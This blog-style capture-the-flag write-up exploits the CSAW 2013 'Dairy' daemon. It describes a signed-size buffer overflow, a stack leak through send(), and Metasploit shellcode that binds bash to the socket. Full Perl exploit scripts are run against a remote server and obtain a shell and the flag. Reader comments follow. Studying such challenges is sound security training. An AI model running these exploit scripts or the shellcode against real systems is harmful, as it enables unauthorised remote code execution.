First let's check it's hardening status:
$ checksec.sh --file fil_chal
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO No canary found NX disabled No PIE No RPATH No RUNPATH fil_chal
Ok, so we have executable stack that we can use for our exploit - we only have to defeat stack randomisation.
Of course we first have to find vulnerability, so let's start by loading the binary in IDA and using Hex Rays decompiler.
Binary decompiled cleanly and we won't need IDA anymore.
Looking through fil_chal.c file shows standard TCP daemon setup - binary listens on port 34266 and forks after accepting a connection.
After connecting to the port we are greeted by username/password prompt:************* $$$$$$$$$ AAAAAAA ***** ***** * ******* * $ $$ $$ A A * * * * * * *** $ $ $$ A A A A * * * * * * $ $ A A___A A * * * * * * $ $ A A * * **** * * * * $ $ A AAA A * * * * * * * * *** $ $ A A A A * *** *** * * ******** * $$$$$$ $ A A A A * * ************* $$$$$$$$$$ AAAAAA AAAAAA ************* Dairy UserName: Password:By searching for UserName string it's easy to discover under function responsible for authentication and hardcoded credentials:
v9 = (int)"csaw2013";
v15 = (int)"S1mplePWD";
Quick check of login process shows no vulnerabilities - all buffers have correct size.
After logging in with our stolen credentials application asks for entry size and then reads given number of bytes from the client.
Data is then written to a file which is immediately deleted after that (not really that useful as a diary ;)
As one can expect the vulnerability is a buffer overflow while reading the entry.
Code responsible for reading entry size:
__int16 v6; // [sp+1Ah] [bp-Eh]@1
...
if ( read(fd, &buf, 0xAu) == -1 )
{
perror("read: ");
result = 0;
}
else
{
v6 = atoi((const char *)&buf);
if ( v6 )
{
*(_WORD *)a2 = v6;
result = 1;
}
else
{
send(fd, "Invalid Input or need atleast a size of 1\n", 0x2Au, 0);
result = 0;
}
}
atoi() result is then used as an argument for read() in following code (sub_8048EFE)
...
n = a2;
if ( (unsigned int)(a2 + 1) <= 0x400 )
{
v7 = recv(fd, &buf, n, 0);
if ( v7 == -1 )
{
perror("recv: ");
...
atoi() result could be negative and mixing it with unsigned argument is always a bad idea, but author put in the check to prevent overflowing the buffer.
Lucky for us the check has +1 in it - introducing the vulnerability.
If we pass "-1" as a note size (a2+1) will be 0 and will pass the check, but recv() will receive -1, which will be interpreted as 0xffffffff giving us a buffer overflow.
Sending -1 as entry size and 1067 bytes will overwrite saved ip.
As said before stack is executable so we can upload shellcode of our choice in submitted diary entry, we only have to find out it's location in memory.
We can use the send() function to leak stack memory.
Let's run binary under gdb, break at last instruction of sub_8048EFE and look at the stack layout:
Breakpoint 2, 0x08049112 in ?? ()
(gdb) x/20xw $esp
0xbffffab8: 0x41414141 0x41414141 0x00000008 0xffffffff
0xbffffac8: 0x0000000c 0x00000000 0xb7f0a249 0xb7fc6ff4
0xbffffad8: 0xbffffaf8 0xffffffff 0x00000000 0xffff0000
0xbffffae8: 0x0804967b 0x0804966e 0xb7fc6ff4 0x00000000
0xbffffaf8: 0xbffffbe8 0x08048bde 0x00000008 0xbffffbb4
There are 2 interesting two addresses in stack range - 0xbffffaf8 and 0xbffffbe8.
Both point to stack areas with useful addresses, but first proved to produce different results at remote server, while second (0xbffffbe8) worked perfectly.
Let's also check the address of input buffer 'buf', we'll need it later:
|0x8048f5e mov DWORD PTR [esp+0xc],0x0
|0x8048f66 mov edx,DWORD PTR [ebp-0x14]
|0x8048f69 mov DWORD PTR [esp+0x8],edx
|0x8048f6d lea edx,[ebp-0x41c]
|0x8048f73 mov DWORD PTR [esp+0x4],edx
>|0x8048f77 mov DWORD PTR [esp],eax
|0x8048f7a call 0x8048890 <recv>
(gdb) p/x $edx
$3 = 0xbffff69c
Our call to send() has to be placed before our chosen stack address, so we have to raise esp to get there - instead of searching for better gadgets I just used "RET" multiple times - there is no limit on exploit length.
Here's final code use to leak the stack:
#!/usr/bin/perl
use IO::Socket::INET;
use warnings;
use IO::Select;
use bytes;
$| = 1;
our $socket = new IO::Socket::INET(
PeerHost => $ARGV[0],
PeerPort => '34266',
Reuse => 1,
Proto => 'tcp',
) or die "ERROR in Socket Creation : $!\n";
print $socket "csaw2013\nS1mplePWD\n-1\n";
my $data;
$socket->recv($data, 66666);
print $socket "A" x 1056,
"\x13\x91\x04\x08" x 13, # sequence of RETs to raise esp
"\x04\x8d\x04\x08", # address of send() call
"\x04\x00\x00\x00", # socket fd
;
$socket->recv($data, 66666);
print $data;
This will produce following output:
...
00002b8: 7377 6f72 643a 2057 sword: W
00002c0: 656c 636f 6d65 210a elcome!.
00002c8: 6874 7470 3a2f 2f79 http://y
00002d0: 6f75 7475 2e62 652f outu.be/
00002d8: 4b6d 747a 5143 5368 KmtzQCSh
00002e0: 3678 6b0a 0a45 6e74 6xk..Ent
00002e8: 7279 2049 6e66 6f3a ry Info:
00002f0: 2060 e8f1 b700 0000 `......
00002f8: 0000 0000 0000 0000 ........
0000300: 0080 39fd b700 0000 ..9.....
Right after 'Entry info: ' prompt we have our precious stack address - 0xb7f1e860.
Now all we have to do is run the same script on our local host - comparing them will give us an offset.
Let's add this offset to our previosly discovered 'buf' address and we have what we need - address of our input buffer on the server.
All we need now is a shellcode. I've generated it from metasploit's msfpayload (bash fd redirection is used in arguments):
$ msfpayload linux/x86/exec CMD="/bin/bash 1>&4 0<&4" P
# linux/x86/exec - 55 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/bin/bash 1>&4 0<&4
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x14\x00\x00" .
"\x00\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x3e\x26" .
"\x34\x20\x30\x3c\x26\x34\x00\x57\x53\x89\xe1\xcd\x80";
Here's a script go gain shell:
#!/usr/bin/perl
use IO::Socket::INET;
use warnings;
use IO::Select;
use bytes;
$| = 1;
our $socket = new IO::Socket::INET(
PeerHost => $ARGV[0],
PeerPort => '34266',
Reuse => 1,
Proto => 'tcp',
) or die "ERROR in Socket Creation : $!\n";
print $socket "csaw2013\nS1mplePWD\n-1\n";
my $data;
$socket->recv($data, 6666666);
my $shellcode=
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x14\x00\x00" .
"\x00\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x3e\x26" .
"\x34\x20\x30\x3c\x26\x34\x00\x57\x53\x89\xe1\xcd\x80";
print $socket "A" x 1056,
"\x4a\xf6\xff\xbf", # calculated return address
"\x90" x 20, # short nopsled just in case
$shellcode; # shellcode
# interact with shell
my $ioset = IO::Select->new;
$ioset->add(\*STDIN);
$ioset->add($socket);
my $data;
while(@ready = $ioset->can_read)
{
foreach $fh (@ready)
{
if ($fh == $socket){
$socket->recv($data, 6666666);
print $data;
}else{
my $cmd = <STDIN>;
print $socket $cmd;
}
}
}
$socket->close();
Let's run it:
perl shell.pl 128.238.66.217
************* $$$$$$$$$ AAAAAAA ***** *****
* ******* * $ $$ $$ A A * * * *
* * *** $ $ $$ A A A A * * * *
* * $ $ A A___A A * * * *
* * $ $ A A * * **** * *
* * $ $ A AAA A * * * * * *
* * *** $ $ A A A A * *** *** *
* ******** * $$$$$$ $ A A A A * *
************* $$$$$$$$$$ AAAAAA AAAAAA *************
Dairy
UserName: Password: Welcome!
http://youtu.be/KmtzQCSh6xk
Entry Info:
id
uid=1001(crackme) gid=1001(crackme) groups=1001(crackme)
ls
fil_chal
key
cat key
key{signness_oh_what_a_world_we_live_in}
Success!
you're using send to dump data from one of those 2 addresses you've discovered or what?
ReplyDeleteThanks.
Sorry for the late reply, I didn't get a new comment notification.
DeleteYes, I'm using send() to dump stack memory at address 0xbffffbe8.
This comment has been removed by the author.
ReplyDeleteyou said "prompt we have our precious stack address - 0xb7f1e860." ? why this stack address is so important ?
ReplyDelete